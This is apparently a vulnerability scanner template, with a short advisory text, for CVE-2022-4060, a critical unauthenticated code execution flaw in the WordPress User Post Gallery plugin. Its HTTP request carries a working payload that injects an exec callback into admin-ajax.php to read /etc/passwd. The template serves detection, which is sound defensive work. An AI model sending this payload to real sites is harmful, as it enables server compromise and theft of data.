WordPress User Post Gallery plugin through 2.19 is susceptible to remote code execution. The plugin does not limit which callback functions can be called by users, making it possible for an attacker execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
PoC代码[已公开]
id: CVE-2022-4060
info:
name: WordPress User Post Gallery <=2.19 - Remote Code Execution
author: theamanrawat
severity: critical
description: |
WordPress User Post Gallery plugin through 2.19 is susceptible to remote code execution. The plugin does not limit which callback functions can be called by users, making it possible for an attacker execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected WordPress site.
remediation: |
Update to the latest version of the User Post Gallery plugin (>=2.20) to mitigate this vulnerability.
reference:
- https://wpscan.com/vulnerability/8f982ebd-6fc5-452d-8280-42e027d01b1e
- https://wordpress.org/plugins/wp-upg/
- https://nvd.nist.gov/vuln/detail/CVE-2022-4060
- https://github.com/im-hanzou/UPGer
- https://github.com/nomi-sec/PoC-in-GitHub
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-4060
cwe-id: CWE-94
epss-score: 0.91121
epss-percentile: 0.99631
cpe: cpe:2.3:a:odude:user_post_gallery:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: odude
product: user_post_gallery
framework: wordpress
tags: cve,cve2022,unauth,wpscan,rce,wordpress,wp-plugin,wp,wp-upg,odude
http:
- method: GET
path:
- "{{BaseURL}}/wp-admin/admin-ajax.php?action=upg_datatable&field=field:exec:head+-1+/etc/passwd:NULL:NULL"
matchers-condition: and
matchers:
- type: word
part: header
words:
- "application/json"
- type: word
part: body
words:
- "recordsFiltered"
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a004730450220505f546472b1ce0c1600e41ad31238d00dc29f86a190cd5582bb1e3669e91b69022100efe9fa5eed107aa89c54a4fb3d514b4791540cc69c718e2dcbcd3022a1c4bc73:922c64590222798bb761d5b6d8e72950